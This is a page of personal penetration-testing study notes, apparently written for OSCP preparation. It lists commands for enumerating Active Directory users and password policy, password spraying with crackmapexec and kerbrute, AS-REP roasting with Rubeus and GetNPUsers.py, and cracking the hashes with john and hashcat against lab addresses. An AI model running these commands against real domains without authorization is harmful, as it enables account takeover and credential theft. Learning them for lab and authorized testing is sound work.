M4RCG04M
  • 👨‍💻Welcome to my GitBook
  • WRITEUPS
    • HackTheBox
      • Windows
        • Remote
      • Linux
        • Jarvis
        • Tabby
    • Proving Grounds Play
      • BBScute
      • FunBoxEasyEnum
      • Monitoring
      • Loly
      • Pelican
      • Payday
      • Snookums
  • OSCP Preparation List
    • Hack The Box
    • Proving Grounds
  • NOTES
    • UTILS
      • Useful Files
      • Payloads
      • Lateral Movement
    • ENUMERATION
      • Port 79 (finger)
      • Port 80 (HTTP)
      • Port 111 (RPCBIND)
      • PORT 161/udp (SNMP)
      • PORT 389,636,3268,3269 (LDAP)
      • Port 6697 (IRCD)
      • Database Analysis
      • Grafana
    • FILE TRANSFERS
    • ACTIVE DIRECTORY
      • Known Vulnerabilities
      • Without Credentials
        • Classic Attacks
      • With Username
      • Valid Credentials
      • Lateral Move
      • ACLs/ACEs permissions
      • Active Directory Certificate Services (AD CS)
      • Administrator account
      • Domain Admin
    • EXPLOTATION
      • Port 53 (DNS)
      • Port 80 (HTTP)
        • CMS
        • SQL INJECTION
        • XXE
        • File Upload
        • Cross Site Scripting (XSS)
      • Port 3389 (RDP)
      • Password Attacks
        • Hash Cracking
    • PRIVILEGE ESCALATION
      • Windows
        • Enumeration
        • Windows User Privileges
        • Windows Group Privileges
        • Weak Permissions
        • Windows Vulnerabilities
        • Credential Hunting
        • Tools
      • Linux
        • Enumeration
Powered by GitBook
On this page
  • Get the password policy
  • Making a Target User List
  • Password Spraying
  • ASREPRoast
  1. NOTES
  2. ACTIVE DIRECTORY

With Username

Get the password policy

You need credentials for getting the password policy, but you should get the policy before starting a password spraying

cme <ip> -u "user" -p "password" --pass-pol

enum4linux -u "user" -p "password" -P <ip>

rpcclient -U "" -N IP
rpcclient $> getdompwinfo
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
import-module .\PowerView.ps1
Get-DomainPolicy

Making a Target User List

enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
rpcclient -U "" -N 172.16.5.5
cme smb 172.16.5.5 --users
sudo cme smb 172.16.5.5 -u user -p password --users
ldapsearch -h 172.16.5.5 -x -b "DC=domain,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
./windapsearch.py --dc-ip IP -u "" -U
kerbrute userenum -d domain --dc IP wordlist.txt 

Password Spraying

sudo cme smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
kerbrute passwordspray -d domain --dc DCIP valid_users.txt Password
sprayhound -U <users.txt> -d <domain> -dc <dc-ip>
for u in $(cat valid_users.txt);do rpcclient -U "$u%<password>" -c "getusername;quit" <dc-ip>| grep Authority; done
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Password -OutFile spray_success -ErrorAction SilentlyContinue

ASREPRoast

Identify vulnerable account with enabled "Do not require preauthentication" option.

Kerbrute

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

PowerView

Get-DomainUser -PreauthNotRequired -Properties SamAccountName

Exploit AS-REP Roasting to extract password hashes.

Rubeus.exe

.\Rubeus.exe asreproast /user:username /format:hashcat /outfile:hash.txt

Get-NPUsers.py

GetNPUsers.py domain/username -dc-ip <ip>-request

GetNPUsers.py domain/ -usersfile users.txt -dc-ip <ip> -format hashcat -request

Crack hashes for plaintext passwords.

john

.\john.exe hash.txt --format=krb5asrep -wordlist=wordlist

hashcat

hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt 

If we found a hash and we want to crack them:

Hash Cracking

PreviousClassic AttacksNextValid Credentials

Last updated 4 months ago